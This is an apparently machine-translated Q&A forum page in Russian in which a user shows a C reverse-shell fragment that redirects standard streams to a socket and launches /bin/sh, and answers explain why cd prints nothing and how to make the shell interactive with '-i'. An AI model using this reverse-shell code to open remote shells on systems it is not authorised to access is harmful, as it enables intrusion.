Распечатать текущий каталог в обратной оболочке

Я попытался построить очень маленький перевернутый корпус в C.

Соединение работает, команды также выполняются, но мне интересно, как можно распечатать текущий каталог. Мой код до сих пор:

Клиент:

// [...]
// creating socket
// connect

void handle_connection(socket_t* sock, char** argv, char** env) {
    // redirect stdout, stdin, stderr
    for (int i = 0; i <= 2; i++)
        dup2(*sock, i);

    execve("/bin/sh", argv, env);
}

На стороне сервера я просто использую nc, который работает нормально. Но текущий каталог не распечатывается как обычно. F.ex. если я отправлю "cd [...]", то вообще ничего не получится.

Как я могу отправить текущий каталог на сервер?

Спасибо за любую помощь.

2 ответа

Решение

Если вы хотите увидеть текущий каталог, запустите pwd команда.

cd Команда не печатает никаких выходных данных. Поэтому вы не увидите никаких результатов.

Если вы запустите оболочку в интерактивном режиме, оболочка напечатает приглашение после выполнения команды. В некоторых оболочках или, в зависимости от вашей конфигурации, это приглашение может содержать текущий рабочий каталог.

Но когда вы подключаете сокет к оболочке stdin/out/err, оболочка обнаруживает, что она не находится в интерактивном режиме, и не будет отображать приглашение. Просто создаю cd Команда не даст вам никакого выхода.

Вы можете перевести оболочку в интерактивный режим, и в этом случае она должна выводить подсказку после каждой команды:

execl("/bin/sh", "/bin/sh/", "-i", NULL);

(Или найдите способ добавить аргумент "-i" в вызове execve())

Просто сделай это

    execve("/bin/pwd", argv, env);

Вы должны действительно искать больше ответов на Google!:)

Другие вопросы по тегам